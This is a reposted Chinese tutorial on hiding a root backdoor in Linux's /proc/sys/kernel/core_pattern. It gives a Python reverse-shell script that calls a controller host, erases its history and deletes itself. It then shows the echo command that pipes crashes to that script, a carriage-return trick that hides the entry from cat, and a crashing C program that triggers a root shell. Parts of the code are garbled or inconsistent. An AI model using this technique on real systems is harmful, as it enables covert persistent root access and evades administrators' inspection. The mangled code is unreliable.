加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > Windows > 正文

利用 /proc/sys/kernel/core_pattern隐藏系统后门

发布时间:2020-12-14 02:12:45 所属栏目:Windows 来源:网络整理
导读:ref:https://xz.aliyun.com/t/1098/ 这里所说的core_pattern 指的是:/proc/sys/kernel/core_pattern。 我们知道在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,然后将进程的coredump 信息写入到文件中,这个文件名默认是core,但是也可以

这里所说的core_pattern 指的是:/proc/sys/kernel/core_pattern。 我们知道在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,然后将进程的coredump 信息写入到文件中,这个文件名默认是core,但是也可以通过配置修改这个文件名。比如可以通过修改/proc/sys/kernel/core_pattern 文件的内容来指定。

Linux man 手册上关于core_pattern的描述:

自Linux 内核2.6.19 之后 core_pattern 不仅仅可以包含一个指定报文coredump信息的文件名,还可以是Linux 管道加一个用户空间的程序或者一个脚本

如果core_pattern 中第一个字符是 Linux管道符 |,那么Linux 内核在捕获进程崩溃信息的时候,就会以root权限执行管道符后门的程序或者脚本,将进程崩溃信息传递给这个程序或者脚本,这就给我们提供了一个隐藏系统后门的方法,我们可以在管道符后面隐藏我们的后门脚本,以实现在特定条件下反弹shell

下面实例演示使用此方法隐藏后门

0x01. 实例演示

试验环境:

????10.1.100.2??????????控制端 (centos7)

????10.1.100.3??????????victim (kali2)

控制端执行监听,等待后门连接:

被控端(这里的被控端指的就是我们渗透成功的victim机器,root权限)执行以下配置:

1、准备后门脚本

事先准备好反弹shell后门脚本,保存为/tmp/.x.py ,这个脚本在进程崩溃的时候被内核执行(那就是以root权限执行了),脚本代码如下:
[code]#!/usr/bin/env python
????# -- coding:utf8 --

????import os
????import pty
????import socket
????
????lhost = "10.1.100.2" # XXX: CHANGEME
????lport = 31337 # XXX: CHANGEME
????
????def main():
????????s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
????????s.connect((lhost,lport))
????????os.dup2(s.fileno(),0)
????????os.dup2(s.fileno(),1)
????????os.dup2(s.fileno(),2)
????????os.putenv("HISTFILE",‘/dev/null‘)
????????pty.spawn("/bin/bash")
????????os.remove(‘/tmp/x.py‘)?? # 销毁自身
????????s.close()
????????
????if name == "main":
????????main()[/code]

非常简单的一段py脚本, 可以用来反弹一个shell

然后执行以下命令,给脚本赋予执行权限

????chmod 755 /tmp/x.py

  1. 修改core_pattern的内容

然后再修改/proc/sys/kernel/core_pattern的内容,执行如下命令:

????echo -e "|/tmp/.x.py rcore?????? " >??/proc/sys/kernel/core_pattern

注: core 后面有若干空格,不可省略 (多余的空格是为了在显示的时候遮盖前面的内容)

我们看一下此刻/proc/sys/kernel/core_pattern 中的内容

用cat命令查看

只显示 ‘core??????‘,而|/tmp/x.py 却不见了,这是为何?

这是因为 r (在Linux系统中意为:将光标移动至行首,却不换行),终端在显示的时候core??????覆盖了 |/tmp/.x.py 的显示,给人造成一种迷惑,以达到隐藏|/tmp/.x.py 的目的

3、演示程序崩溃,触发后门执行

接下来就是触发系统程序崩溃了,为了演示, 我写了一段含有错误的代码(实际环境上可能要等待某个进程崩溃)
????
[code]#include <stdio.h>
????int main(void)
????{
????((int )0) = 0;
????int a = NULL;
????
a = 0x1;
????return 0;
????}[/code]

执行以下命令编译:

增加权限 chmod 755 a.out

然后执行./a.out,使程序崩溃 (看到 core dumped 即表示程序已经崩溃,测试的时候需要适当设置ulimit的值)

然后我们的监听端就已经获取到了系统shell

0x02. 总结

本文旨在提供一种思路分享,希望大家多提意见改进

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读